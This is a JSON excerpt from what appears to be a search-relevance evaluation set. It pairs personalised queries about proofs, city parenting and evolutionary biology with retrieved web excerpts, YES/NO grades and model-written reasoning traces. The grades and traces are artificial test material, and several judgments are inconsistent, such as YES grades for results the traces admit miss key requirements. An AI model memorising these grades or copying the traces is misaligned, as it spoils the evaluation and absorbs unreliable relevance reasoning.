                "model_trace": "[QUERY] I am a middle school math teacher preparing a lesson on mathematical proofs. I'm looking for a journal article that gives a gentle introduction to proof techniques like direct proof, proof by contradiction, and proof by induction, with lots of examples.\n\n[WEBPAGE INFORMATION]\n[TITLE] Four Basic Proof Techniques Used in Mathematics - YouTube\n[URL] https://www.youtube.com/watch?v=V5tUc-J124s\n[DATE PUBLISHED] None\n[CONTENT] Thanks to all of you who support me on Patreon. You da real mvps!   $1 per month helps!! :)  https://www.patreon.com/patrickjmt !! Thanks to all of you who support me on Patreon. You da real mvps!   $1 per month helps!! :)  https://www.patreon.com/patrickjmt !! A big THANKS to all of those who support me on Patreon! https://www.patreon.com/patrickjmt\nPart 1: https://youtu.be/KRLBya7x5ZQ\nExtra Proof by Contradiction with some death intrigue (huh?!) https://www.youtube.com/watch?v=rOGqq1O1rzI\\u0026feature=youtu.be\nNew to proving mathematical statements and theorem? I this video I prove the statement 'the sum of two consecutive numbers is odd' using direct proof, proof by contradiction, proof by induction and proof by contrapositive.\n| view_count: 475,295 views | short_view_count: 475K views | num_likes: 8.1K | num_subscribers: 1.34\n\nQuery Decomposition:\n1. {Journal article}: The document is a YouTube video, not a journal article -> ([1], UNSATISFIED)\n2. {Gentle introduction to proof techniques}: The video claims to introduce proof techniques like direct proof, proof by contradiction, and proof by induction -> ([1], SATISFIED)\n3. {Lots of examples}: The video description mentions proving the statement \"the sum of two consecutive numbers is odd\" using various proof techniques, which suggests multiple examples -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {Gentle introduction to proof techniques} and {Lots of examples}. The document satisfies these subcomponents but fails to meet the requirement of being a journal article. Since the user's intent is specifically for a journal article, the document is not helpful. NO."
            },
            {
                "grade": "YES",
                "title": "[PDF] Proofs and Mathematical Reasoning - University of Birmingham",
                "url": "https://www.birmingham.ac.uk/Documents/college-eps/college/stem/Student-Summer-Education-Internships/Proof-and-Reasoning.pdf",
                "published_date": null,
                "text": "Authors:\nAgata  Stefanowicz, University of Birmingham\nJoe  Kyle, University of Birmingham\nMichael  Grove, University of Birmingham\nForeword\nTalk to any group of lecturers about how their students handle proof and reasoning when presenting mathematics and you will soon hear a long list of 'improvements' they would wish for. And yet, if no one has ever explained clearly, in simple but rigorous terms, what is expected it is hardly a surprise that this is a regular comment. The project that Agata Stefanowicz worked on at the University of Birmingham over the summer of 2014 had as its aim, clarifying and codifying views of staff on these matters and then using these as the basis of an introduction to the basic methods of proof and reasoning in a single document that might help new (and indeed continuing) students to gain a deeper understanding of how we write good proofs and present clear and logical mathematics. Through a judicious selection of examples and techniques, students are presented with instructive examples and straightforward advice on how to improve the way they produce and present good mathematics. An added feature that further enhances the written text is the use of linked videos files that offer the reader the experience of 'live' mathematics developed by an expert. And Chapter 9, that looks at common mistakes that are made when students present proofs, should be compulsory reading for every student of mathematics. We are confident that, regardless of ability, all students will find something to improve their study of mathematics within the pages that follow. But this will be doubly true if they engage with the problems by trying them as they go through this guide.\nMichael Grove & Joe Kyle\nSeptember 2014\nc University of Birmingham 2014\n1 Introduction\nFrom the first day at university you will hear mention of writing Mathematics in a good style and using \"proper English\". You will probably start wondering what is the whole deal with words, when you just wanted to work with numbers. If, on top of this sca",
                "model_trace": "Query Decomposition:\n1. {journal article}: The document is a PDF from the University of Birmingham, which may not be a journal article but is an educational document -> ([2], UNSURE)\n2. {gentle introduction to proof techniques}: The document aims to introduce basic methods of proof and reasoning, which suggests it is a gentle introduction -> ([1], SATISFIED)\n3. {proof techniques like direct proof, proof by contradiction, and proof by induction}: The document mentions a selection of examples and techniques, but it's unclear if it includes these specific proof techniques -> ([0], UNSURE)\n4. {lots of examples}: The document mentions instructive examples and straightforward advice -> ([1], SATISFIED)\n\nAssessment: The subcomponents {gentle introduction to proof techniques} and {lots of examples} are satisfied. The document seems to be a suitable educational resource for a middle school math teacher preparing a lesson on mathematical proofs, even though it may not be a traditional journal article.\n\nYES"
            }
        ]
    },
    {
        "query": "I'm a new parent living in Seattle and I'm looking for personal essays or Substack posts from other parents about the challenges and joys of raising a toddler in a big city. Bonus points if the posts cover how to find a good work-life balance.",
        "grid_pos": [
            3,
            2
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: Blog Post/Substack/Personal Content",
        "reasoning_trace": [
            "These queries are diverse, personalized, and focused on finding high-quality, in-depth content on specific topics that the users are interested in. They cover a range of subjects like chemistry, parenting, sports, film criticism, and photography. The queries require the search engine to understand the user's background and interests in order to surface the most relevant Substack or blog post results. Some of the queries also indicate that the users are looking for a more analytical or personal perspective, rather than just general information."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "BigCityToddler",
                "url": "http://www.hollenback.net/index.php/BigCityToddler",
                "published_date": "2010-01-01",
                "text": "Further Adventures with A Small Child in the City\nby Phil Hollenback \nIntroduction\nA lot has changed since I wrote my first article about\nhaving and raising a baby in the city. For one thing, we now have a\nindependent three year old son instead of a tiny helpless baby to take\ncare of. One key thing has not changed however: we still live in a\ncity. That city happens to be San Francisco now instead of New York,\nbut our basic lifestyle is the same. We don't own a car and we live\nin a minuscule one bedroom apartment. Everything in our lives is\nshaped by these two constraints. While this can at times be\nfrustrating, we feel the advantages outweigh the inconveniences. In\nthis article I will try to outline a few of the things I've learned as\nwe have transitioned from having a Big City Baby to having a Big City\nToddler.\nSo Toddlers are Different Than Babies?\nOn the other hand, you get to witness your child's first tentative\nsteps into the world, and this is absolutely an amazing thing. I am\nstill completely enthusiastic about choosing an urban life for our son\nand I hope this article illustrates that the negatives of this living\nsitaution are far outweighed by the positives.\nTransportation\nBabywearing is absolutely critical once you have a toddler in an urban\nenvironment. Note that my wife and I disagree on this point: she\nmainly moved our son around in his stroller. That works fine too, but\nrealize you will be limited in what you can do when you have a\nstroller to lug around. The NYC subway system with it's many stairs\nis particularly difficult to navigate with a stroller. I think the\nmain reasons that carrying my son in an Ergo worked well for me are\nfirst that I'm a large guy so I can wear a baby relatively easily.\nThe other key to my success was that I committed to babywearing from\nthe start and stuck with it religiously. You absolutely must start\ncarrying your baby from the beginning to build up the necessary\nmuscles. If you decide to start by carrying a 25 pound 18 month old\nyou will be miserable.\nBabywearing\nAs I'",
                "model_trace": "Query Decomposition:\n1. {personal essays or Substack posts}: This document is a personal essay -> ([1], SATISFIED)\n2. {from other parents}: The document is written by a parent -> ([1], SATISFIED)\n3. {about the challenges and joys of raising a toddler in a big city}: The document discusses raising a toddler in a big city and touches on both challenges and joys -> ([1], SATISFIED)\n4. {in Seattle}: The document is about experiences in San Francisco and New York, not Seattle -> ([0], UNSURE)\n5. {how to find a good work-life balance}: The document does not mention work-life balance -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {personal essays or Substack posts}, {from other parents}, and {about the challenges and joys of raising a toddler in a big city}. All these subcomponents are satisfied. YES."
            },
            {
                "grade": "NO",
                "title": "A real skyscraper in a fake city.",
                "url": "https://jengaoneweekatatime-blog.tumblr.com/post/76222823143/a-real-skyscraper-in-a-fake-city",
                "published_date": "2014-02-10",
                "text": "I work in a real skyscraper in a fake city. I have an office on the eighth floor and when I turn to face someone visiting my office on a sunny afternoon I need to squint because the sun is right in my eyes. There are twenty-six floors in this skyscraper which as far as R is concerned is the best part of my job; when she visits we can have lunch on the top floor and look out at Mount Rainier and look down at the tiny cars and tinier people on the street below. If you\u2019ve ever taken a few minutes at the top of a tall building and looked at what\u2019s below you, you get this weird and compelling sense of motion. Ants of people are walking and riding bikes and driving their small cars on highways that overlap and split apart and curl under and rise over each other. All the parts are moving in concert with one another and oblivious to one another at the same time, a dance to the same music but orchestrated to twenty or fifty or a hundred different choreographies. It is like this in a real city but also in the fake one where I work. I drive over Lake Washington on a floating bridge every day to work in Bellevue, a busy area across the water from Seattle where I live. If Seattle is made up of craftsman houses and residential neighborhoods and inadequate mass transit then downtown Bellevue is the Cheesecake Factory and a mall and a moderately sized and fairly pleasant park. Seattle is a city in the suburbs and Bellevue is the suburbs in a city. From my office window when the sun isn\u2019t in my eyes I look out over a pavilion with some green spots and can see at least eight other skyscrapers where people work and occasionally live. Loosely speaking I can organize my life into a series of decisive before/after junctures. Some of these are big and obvious: moving across the country, having a baby, getting divorced \u2013 stuff that where even at the time I was aware that big/crazy/irrevocable things were going on, where making one choice was going to determine a whole bunch of others, even down to some pretty small details. Sometimes th",
                "model_trace": "Query Decomposition:\n1. {Personal essays or Substack posts from other parents}: This document is a personal blog post, which fits the requirement for a personal essay -> ([1], SATISFIED)\n2. {Challenges and joys of raising a toddler in a big city}: The content does not specifically mention raising a toddler or the challenges and joys associated with it -> ([0], UNSURE)\n3. {Living in Seattle}: The author mentions living in Seattle, which aligns with the query -> ([1], SATISFIED)\n4. {Work-life balance}: The content does not specifically cover how to find a good work-life balance -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {Personal essays or Substack posts from other parents} and {Living in Seattle}. Both of these subcomponents are satisfied. However, the document does not address the specific experiences of raising a toddler or finding a work-life balance, which are crucial to the user's query. Therefore, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "NO",
                "title": "BigCityBaby",
                "url": "http://www.hollenback.net/BigCityBaby",
                "published_date": "2007-01-01",
                "text": "Some Thoughts on Having Your First Child in the City\nby Phil Hollenback \n Note: after reading this you mighty want to read Big City Toddler. \nIntroduction\nMy wife and I recently had our first child (a healthy and absolutely\nwonderful boy) while living in a one bedroom apartment in midtown\nManhattan. Having a baby in the city is a lot different than having a\nbaby in the suburbs. For example, we live in a tiny one-bedroom\napartment and we don't own a car. We've learned a few things along\nthe way and hopefully this article will be helpful to those of you in\na similar situation. I don't claim to be an expert so please take all\nof this as my best guess and not the final word on the subject.\nResist the Urge\nOne of the first instincts when you find out you are going to have a\nbaby is to start buying things you think you will need. I'm going to\nassume that you live in a 400 square foot apartment like we do so you\nneed to think very carefully about what you buy. Even if you live in\na much larger space you should still resist the urge to buy more stuff\nthan you actually need. This will save you money, cut down on\nclutter, and set a good example later on for your offspring. This\narticle is primarily a list of items I find essential, broken down\ninto categories. Remember, this is just based on what my wife and I\nhave experienced, you should season to taste.\nFeeding\nEven if you breast feed you are going to need bottles either for\npumped milk or supplemental formula. Plus you can't say for sure if\nyou (and by you I mean your wife) will breast feed or not. Thus, I\nrecommend Dr. Brown's brand bottles. And\nby recommend, I mean that's basically the only bottles I have any\nexperience with. Lots of other people seem to like them too and the\nbaby likes them so you are probably ok sticking with Dr. Brown's. The\none downside to these bottles is that they contain a lot of small\nparts which are annoying to clean.\nI recommend you start with six of the 4 oz. bottles and two of the 8\noz. bottles. You won't need the 8 oz. bottles for a few m",
                "model_trace": "Query Decomposition:\n1. {personal essays or Substack posts from other parents}: The document is a personal essay by Phil Hollenback, who is a parent -> ([1], SATISFIED)\n2. {challenges and joys of raising a toddler in a big city}: The document discusses having a baby in a big city, but it does not specifically focus on raising a toddler -> ([2], UNSURE)\n3. {living in Seattle}: The document is about living in Manhattan, not Seattle -> ([0], UNSURE)\n4. {finding a good work-life balance}: The document does not mention work-life balance -> ([0], UNSURE)\n\nAssessment: The document satisfies the subcomponent about being a personal essay from a parent in a big city. However, it does not specifically address raising a toddler or living in Seattle, and it does not cover work-life balance. Given the user's specific interest in raising a toddler and finding work-life balance, the document is not sufficiently aligned with the user's intent. NO."
            },
            {
                "grade": "YES",
                "title": "To all the working parents with little kids\u2014I see you.",
                "url": "https://thankyouforsharing.substack.com/p/working-parents",
                "published_date": null,
                "text": "To all the working parents with little kids\u2014I see you.   I see you struggling to balance it all, when doing so is literally impossible.   I see you trying to work while your kids are home from school or daycare with their 47th virus this year.   I see you wiping their noses and lunging for the barf bucket while you attempt to answer emails.   I see you trying to get ahead in your career, or trying to grow your business, but you can't because your kid needs another diaper change, another snack (no, not that snack, a different one), another cuddle, another toy, another everything.   I see you sitting in a dark room, trying to type silently with one hand, as your toddler naps next to you while you rub his back with your other hand.   I see you reluctantly asking for another extension or another day off, and worrying about what your boss/colleagues/clients think of you.   I see you sitting on a Zoom call, wondering if it's appropriate to turn your camera off because you haven't showered in days and you have Kleenex shoved up your nose because you've caught whatever nasty thing your kid brought home from daycare\u2014again.   I see you lying awake at night, when you finally have a moment of quiet, your thoughts spiralling with everything you need to get done, when you should be sleeping.   I see you doing your best to look like you have your act together, when in reality, you're about one more episode of Blippi away from a nervous breakdown.   I see you and I'm here with you. \u270a    \ud83d\udd14 P.S. I originally posted this on  my LinkedIn  since it\u2019s work-related but it also felt TYFS-related, so I\u2019m repurposing it. (And yes, I just referred to my newsletter by acronym as if it\u2019s a household name, because why not.)    Leave a comment      This silly reality dating show  because life is overwhelming and we could all use some mindless entertainment right now     Samantha Irby\u2019s episode  on Glennon Doyle\u2019s podcast made me smile while going for a walk the other day     I think a lot of us can  relate to this : \u201cI want to \u2018just be, man,\u2019 ",
                "model_trace": "Query Decomposition:\n1. {Personal essays or Substack posts}: This document is a Substack post -> ([1], SATISFIED)\n2. {Challenges and joys of raising a toddler in a big city}: The document discusses the challenges of raising a toddler, but it does not specifically mention the joys or the aspect of living in a big city -> ([2], UNSATISFIED)\n3. {Finding a good work-life balance}: The document addresses the struggles of balancing work and parenting -> ([1], SATISFIED)\n4. {Seattle}: The document does not mention Seattle -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {Personal essays or Substack posts} and {Finding a good work-life balance}, both of which are satisfied. Although the document does not explicitly cover the joys of raising a toddler or the aspect of living in a big city, it does provide valuable insights into the challenges and work-life balance, which aligns with the user's intent.\n\nYES."
            },
            {
                "grade": "YES",
                "title": "Hitting That Work/Life Balance Beam Nose-First",
                "url": "https://catvalente.substack.com/p/hitting-that-worklife-balance-beam",
                "published_date": null,
                "text": "Note: I\u2019m working on a big essay for Monday and a year-anniversary follow-up to  the piece that launched this newsletter  for next week. In the meantime, the following essay is cross-posted from my  Patreon  (with a few changes for contextual clarity) on account of it being an explanation for my recent WEIRD-ASS QUIETUDE which also was weird, ass, and quiet here on Substack. This is what\u2019s been going on with me; I did not die, I just had a brutal deadline and no time or space to breathe. It\u2019s under a paywall here because it\u2019s under a paywall at Patreon, I do apologize but times are tough for artists everywhere and I have to play fair with the amazing people who support my non-fiction writing online.     The preview is pretty damned load-bearing, though.    Please do consider becoming a paid subscriber so that I can justify more Garbagetown yelling and not be so stressed out all the time. Much more content next week!  Everything I\u2019m about to say in this essay is pretty much borne out by the October and November in my world, in which many things went corkscrewed, but most noticeably in this space and most of my others, things went radio silent. Call it a proof: of concept, of theorem, of life, which is only 35% a joke.  Don\u2019t mind me. I\u2019m just tired. So  tectonically  tired.   On New Year\u2019s Day,  I will have been publishing fiction professionally for 20 years .    For 15 of those years, interview questions that revolved around process were generally some form of:  Do you write every day? What\u2019s your writing space look like? What inspires you?   Then, five years ago, I had a baby. And I still get asked those questions, but now they have a friend, who is much less fun, the kind of friend you have to lie to, for, and about because they\u2019re just so fucking crazy there\u2019s no other way to deal with it and the truth just sucks too much. That friend is:  How do you balance your writing with being a parent?        The miracle of life, 99% guaranteed to be genuinely miraculous!    I usually do lie. You can tell by the nervous ",
                "model_trace": "Query Decomposition:\n1. {Personal essays or Substack posts from other parents}: This document is a Substack post from a parent -> ([1], SATISFIED)\n2. {Challenges and joys of raising a toddler in a big city}: The document mentions the author's experience of balancing writing with being a parent, but it doesn't specify raising a toddler in a big city like Seattle -> ([2], UNSURE)\n3. {Finding a good work-life balance}: The document discusses the author's struggle with work-life balance after having a baby -> ([1], SATISFIED)\n4. {Living in Seattle}: The document does not mention Seattle specifically -> ([0], UNSURE)\n\nAssessment: The subcomponents {Personal essays or Substack posts from other parents} and {Finding a good work-life balance} are satisfied. The document does not provide specific information about raising a toddler in a big city or living in Seattle, but it does cover the challenges of balancing work and parenting, which aligns with the user's intent. YES."
            },
            {
                "grade": "YES",
                "title": "A Survival Guide for Parents Who Work Remotely | by Doist",
                "url": "https://medium.com/ten-timezones/remote-working-parents-survival-guide-df8354144468",
                "published_date": null,
                "text": "Lessons in work-life balance for remote working parents *and* their companies.                  I live in the Seattle area (which means that I\u2019m up against some of the least affordable childcare in the USA), and my daughter \u2014 who was blessed to be born with impeccable health and an easy-going temperament \u2014 will turn one this week (\ud83d\ude2d). My husband, Francisco, is from Chile and I am from Colorado. We\u2019re essentially flying solo far up in the Pacific Northwest since there are no family members to rely on for long-term, short-term, date-night, or I-just-need-a-freaking-break childcare. We both work full-time; I in our home office/kitchen/living room/rocking chair or a coworking space, and Francisco at his company\u2019s headquarters which is exactly three miles from our house. We do not live in the \u201ccool\u201d part of Seattle, but are content to sacrifice vegan ice creameries and kombucha bars for a one-song-on-the-radio length commute that allows for extended family breakfasts and several quality hours of evening play-time. One last thing about me: I work for Doist, a remote company that\u2019s massively ahead of the curve in terms of work-life balance and forward-thinking policies for parents. Yes, that fact made the transition to becoming a working parent easier, but as I\u2019ve discovered over the past year, being a parent is hard regardless. Being a working parent is really hard. Working remotely at home with kids is \u2014 you guessed it \u2014 also really damn hard. I wanted to write this post to reflect on things remote working parents and their companies can do to make raising a family and doing great work possible.    Francisco, Lorenza, Brenna, Catalina &amp; Amir at Doist\u2019s most recent company retreat in Athens, Greece.    My daughter is napping now, so I could have 48 minutes or 3 hours to work on this draft. Let\u2019s cut to the chase while we still can, shall we? How we approach parenting at Doist I\u2019ve been with Doist since September, 2012 and became the very first mom on the team four years later. We didn\u2019t even have a maternity or pat",
                "model_trace": "Query Decomposition:\n1. [Personal essays or Substack posts]: This document is a personal essay on Medium -> ([1], SATISFIED)\n2. [Challenges and joys of raising a toddler]: The document discusses challenges and joys of raising a child, specifically mentioning the author's experiences with their daughter -> ([1], SATISFIED)\n3. [In a big city]: The document mentions living in the Seattle area, which is a big city -> ([1], SATISFIED)\n4. [Work-life balance]: The document discusses work-life balance extensively, especially in the context of remote working parents -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. YES"
            }
        ]
    },
    {
        "query": "I'm a biology student interested in evolutionary biology. Can you find me news stories covering any recent scientific breakthroughs or discoveries related to how species evolve and adapt over time?",
        "grid_pos": [
            3,
            1
        ],
        "grid_pos_str": "Search Query Format: Personalized Query, Search Result Type: News",
        "reasoning_trace": [
            "The queries are designed to test Exa's capabilities in providing relevant and informative news results for personalized queries across a variety of topics that require an understanding of current trends, innovations, and discoveries. The queries involve the user providing some personal context about their interests, expertise, or location, which Exa should use to tailor the news results. The topics span areas like food, music, nature, politics, and biology, which require Exa to have broad knowledge and the ability to identify the most salient and novel information to include in the news results."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Study shows lizards are evolving to withstand hurricanes - The Weather Network",
                "url": "https://www.theweathernetwork.com/en/news/nature/animals/nature-study-shows-how-lizards-are-evolving-to-withstand-hurricanes",
                "published_date": "2020-06-25",
                "text": "Published on Jun. 25, 2020, 1:56 PM In a hurricane-prone area, a good grip can be the difference between life and death. \nLizards that live in hurricane-prone areas have larger toepads than lizards in other parts of the world, according to a study from Washington University in St. Louis.\nScientists have known for some time that lizards in the Caribbean have larger toe pads than other species, but this is the first study to link the physical difference to an evolutionary response to hurricanes.\nThe larger toepads provide lizards with a better grip so they can avoid being swept away by strong winds and torrential rain.\nResearchers used 70 years of hurricane data and studied hundreds of species of lizards to form their conclusion.\n\nCourtesy: Colin Donihue. \nPreviously, it was believed hurricanes happen too infrequently to influence evolutionary processes. Content continues below \n\"What we found is that hurricanes actually do have evolutionary effects on lizards that span both geographic and phylogenetic scales,\" Colin Donihue, a postdoctoral fellow in biology in Arts & Sciences at Washington University and the study's lead author, said in a statement.\n\"We showed that hurricanes affect a single anole species in Turks & Caicos, and those effects are likely inherited to the next generation -- suggesting an evolutionary change. The effects are paralleled across 12 island populations of a different anole species, and ultimately can be detected across an entire genus of very distantly related anole lizards.\"\n 'HURRICANE EFFECT' BROADER THAN PREVIOUSLY ANTICIPATED \nJonathan Losos, a professor at Washington University and a contributor to the paper, says he was initially skeptical hurricanes could have such a long-lasting impact on lizard populations.\n\"We poked and prodded the data every which way to try to find if there were any holes in it,\" Losos added. \"And I'm convinced that it's robust.\"\nIn 2017, Donihue and his team detailed a survey of Anolis lizards in Turks & Caicos for another research project when Hurricane Irma",
                "model_trace": "Query Decomposition:\n1. {Biology student interested in evolutionary biology}: The document is about a study in evolutionary biology -> ([1], SATISFIED)\n2. {Recent scientific breakthroughs or discoveries}: The document discusses a recent study published in 2020 -> ([1], SATISFIED)\n3. {How species evolve and adapt over time}: The document details how lizards are evolving to withstand hurricanes, which directly relates to species adaptation and evolution over time -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES."
            },
            {
                "grade": "YES",
                "title": "An Ocean-Dwelling Fish Genetically Adapted to Freshwater in Just 120 Years",
                "url": "https://www.sciencealert.com/an-ocean-dwelling-fish-genetically-adapted-to-freshwater-in-just-120-years",
                "published_date": "2018-06-24",
                "text": "Steelhead trout, members of the salmon family that live and grow in the Pacific Ocean, genetically adapted to the freshwater environment of Lake Michigan in less than 120 years, according to new research. Steelhead were intentionally introduced into Lake Michigan in the late 1800s in order to bolster recreational and commercial fisheries. In their native range, which extends from California to Russia, steelhead hatch in freshwater rivers, migrate to the ocean, and return to freshwater to spawn. This migration allows steelhead to feed in the ocean, where they can grow larger and produce more eggs than if they remained in freshwater streams for their entire lives. The steelhead introduced into Lake Michigan continue to spawn in small freshwater tributaries and streams, but now treat the entirely freshwater habitat of the Great Lakes as a surrogate ocean. After their introduction into Lake Michigan, steelhead began to naturally reproduce and established self-sustaining populations throughout the Great Lakes. To examine how these fish adapted to this novel environment, Mark Christie, an assistant professor of biological sciences at Purdue University, led a team that sequenced the complete genomes of 264 fish. The team then compared steelhead from Lake Michigan to those from their ancestral range, searching for outlier regions associated with genetic adaptation. The research, which appears in the journal Molecular Ecology , found that regions of three chromosomes in steelhead evolved after they were introduced in Lake Michigan, offering insight into how this ocean-migrating fish adapted to an entirely freshwater environment. Two of the three regions on chromosomes that experienced genetic changes are critical to the process that maintains salt and ion balance across membranes in the body, known as osmoregulation. Freshwater fish actively take in ions from their environments to compensate for salts lost via passive diffusion, while saltwater fish expel ions to compensate for the uptake of salts into their bodies. These",
                "model_trace": "Query Decomposition:\n1. [biological student interested in evolutionary biology]: The document is about evolutionary biology, specifically how a species adapted to a new environment -> ([1], SATISFIED)\n2. [news stories covering recent scientific breakthroughs or discoveries]: The document is a news story about a recent scientific discovery related to genetic adaptation in steelhead trout -> ([1], SATISFIED)\n3. [related to how species evolve and adapt over time]: The document discusses how steelhead trout genetically adapted to a freshwater environment in a relatively short period, which is directly related to how species evolve and adapt over time -> ([1], SATISFIED)\n\nAssessment: The document meets all the relevant subcomponents. It is a news story about a recent scientific breakthrough in evolutionary biology, specifically detailing how a species has adapted to a new environment. YES."
            },
            {
                "grade": "YES",
                "title": "Wild animals are evolving faster than anybody thought",
                "url": "https://phys.org/news/2022-05-wild-animals-evolving-faster-thought.html",
                "published_date": "2022-05-27",
                "text": "Credit: Shutterstock\n\nHow fast is evolution? In adaptive evolution, natural selection causes genetic changes in traits that favor the survival and reproduction of individual organisms.\n\nAlthough Charles Darwin thought the process occurred over geological timescales, we have seen examples of dramatic adaptive evolution over only a handful of generations. The peppered moth changed color in response to air pollution, poaching has driven some elephants to lose their tusks and fish have evolved resistance to toxic chemicals.\n However, it is still hard to tell how fast adaptive evolution is currently occurring. We also don't know whether it has a hand in the fate of populations challenged by environmental change.\n To measure the speed of adaptive evolution in the wild, we studied 19 populations of birds and mammals over several decades. We found they were evolving at twice to four times the speed suggested by earlier work. This shows adaptive evolution may play an important role in how the traits and populations of wild animals change over relatively short periods of time.\n The tools of the evolutionary biologist: Math and binoculars\nHow do we measure how fast adaptive evolution is occurring? According to the \"fundamental theorem of natural selection\", the amount of genetic difference in \"fitness\" to survive and reproduce among individuals across a population also corresponds to the population's rate of adaptive evolution.\n The \"fundamental theorem\" has been known for 90 years, but it has been difficult to apply in practice. Attempts to use the theorem in wild populations have been rare, and are plagued by statistical problems.\n We worked with 27 research institutions to assemble data from 19 wild populations that have been monitored for long periods of time, some since the 1950s. Generations of researchers collected information about the birth, mating, reproduction and death of each individual in these populations.\n Together, those data represent around 250,000 animals and 2.6 million hours of field work. The investme",
                "model_trace": "Query Decomposition:\n1. {biology student interested in evolutionary biology}: This subcomponent is context for understanding the user's interest but does not require specific information from the document -> ([0], UNSURE)\n2. {news stories covering recent scientific breakthroughs or discoveries}: The document is a news story about recent findings in evolutionary biology -> ([1], SATISFIED)\n3. {related to how species evolve and adapt over time}: The document discusses how wild animals are evolving faster than previously thought and provides examples of adaptive evolution in response to environmental changes -> ([1], SATISFIED)\n\nAssessment: The document satisfies both relevant subcomponents. It is a news story that covers recent scientific discoveries related to how species evolve and adapt over time, making it useful for a biology student interested in evolutionary biology. YES."
            },
            {
                "grade": "YES",
                "title": "Evolutionary Biology News",
                "url": "https://www.sciencedaily.com/news/plants_animals/evolution/",
                "published_date": null,
                "text": "Mixing Between Species Reduces Vulnerability to Climate Change \n\tJan. 30, 2023 \u2014 New research provides rare evidence that natural hybridization can reduce the risk of extinction of species threatened by climate change. Researchers have identified genes that enable Rainbowfish to ... \n\t\t Madagascar Mouse Lemur Retroviruses Are Diverse and Surprisingly Similar to Ones Found in Polar Bears or Domestic Sheep \n\tJan. 13, 2023 \u2014 Madagascar is home to a unique biodiversity with a large number of endemic species, among those many lemur species, including the mouse lemurs. This diversity is also found in their retroviruses. ... \n\t\t How Crocs Can Go Hours Without Air: Crocodilian Hemoglobin \n\tJan. 12, 2023 \u2014 The crocodilian edition of hemoglobins -- the scuba tanks of the blood -- work so well that crocs can go hours without air. The hyper-efficiency of that adaptation has led some biologists to wonder ... \n\t\t It Would Take 23 Million Years for Evolution to Replace Madagascar's Endangered Mammals \n\tJan. 10, 2023 \u2014 90% of the plants and animals on Madagascar are found nowhere else on Earth, but this treasure trove of evolution is under serious threat due to habitat loss, over-hunting, and climate change. In ... \n\t\t Chlamydiae Expand Our View on How Intracellular Bacteria Evolve \n\tJan. 10, 2023 \u2014 All chlamydiae today live inside the cells of hosts ranging from amoeba to animals. A team of scientists found that the ancestor of chlamydiae likely already lived inside host cells, but that ... \n\t\t Urban Lizards Share Genomic Markers Not Found in Forest-Dwellers \n\tJan. 9, 2023 \u2014 Lizards living in different cities have parallel genomic markers when compared to neighboring forest lizards, according to a new study. The genetic variations linked to urbanization underlie physical ... \n\t\t Smallpox Has Plagued Humans Since Ancient Egyptian Times, New Evidence Confirms \n\tJan. 9, 2023 \u2014 Smallpox was once one of humanity's most devastating diseases, but its origin is shrouded in mystery. For years, scientific estimates of when the smallpox v",
                "model_trace": "Query Decomposition:\n1. [Interest in evolutionary biology]: The document is specifically about evolutionary biology news -> ([1], SATISFIED)\n2. [Recent scientific breakthroughs or discoveries]: The document contains recent news stories, with dates in January 2023 -> ([1], SATISFIED)\n3. [Related to how species evolve and adapt over time]: The content includes news stories about natural hybridization, retroviruses in lemurs, crocodilian hemoglobin, and genomic markers in urban lizards, all of which relate to species evolution and adaptation -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. YES"
            },
            {
                "grade": "NO",
                "title": "What Does an Evolutionary Biologist Do? - Science in the News",
                "url": "https://sitn.hms.harvard.edu/flash/2020/what-does-an-evolutionary-biologist-do/",
                "published_date": null,
                "text": "How do you introduce yourself, scientifically? \nMy name is Mia Miyagi, and I\u2019m an evolutionary biologist, which means that I study how the process of evolution works and how that process has generated the incredible biodiversity that we have today. More specifically, I\u2019m a theoretical population geneticist. Population genetics is how we think about evolution and variation across entire populations. In other words, how individuals are related to each other, and how turnover in these individuals over time changes the population they make up. I say I\u2019m a theoretical population geneticist because rather than collecting data directly, which for some people means going out into the world and collecting insects, getting data from hospitals, etc., I spend my time thinking about and simulating evolutionary processes.\u00a0\n What\u00a0are the implications or broader impacts of your work? \nIn the context of evolutionary biology, population genetics provides us with quantitative tools to understand the past; it lets us think about how the fabulous biodiversity that we see today came to be.\u00a0\nMore personally, this work helps us think about the history of humans on earth. Much of what we know about human history is informed not only by archaeology and anthropology, but also by genetics. Population genetics helps us have a more comprehensive view of the past by helping us understand the interactions between us and other hominid species like Neanderthals.\n What\u00a0do your data look like?\u00a0 \nI work with genomes from individuals within a population (genomes are the full set of DNA from a given organism). I recently worked with some butterfly genomes that had been collected and constructed by another student. Of course, this is a huge amount of work, and my own research wouldn\u2019t be possible without data like this from other scientists!\nThese genomes ultimately help us test models explaining how different evolutionary processes work. For instance, if we are interested in seeing if two species are hybridizing (crossbreeding), we can use theory to c",
                "model_trace": "Query Decomposition:\n1. [News stories]: The document is an interview or an article about what an evolutionary biologist does, not a news story -> ([1], UNSATISFIED)\n2. [Recent scientific breakthroughs or discoveries]: The document does not mention any recent breakthroughs or discoveries -> ([1], UNSATISFIED)\n3. [Related to how species evolve and adapt over time]: The content is related to evolutionary biology and how species evolve, but it does not cover recent discoveries or breakthroughs -> ([1], UNSATISFIED)\n\nAssessment: The document does not satisfy any of the key subcomponents. NO."
            },
            {
                "grade": "YES",
                "title": "Evolution News",
                "url": "https://www.sciencedaily.com/news/fossils_ruins/evolution/",
                "published_date": null,
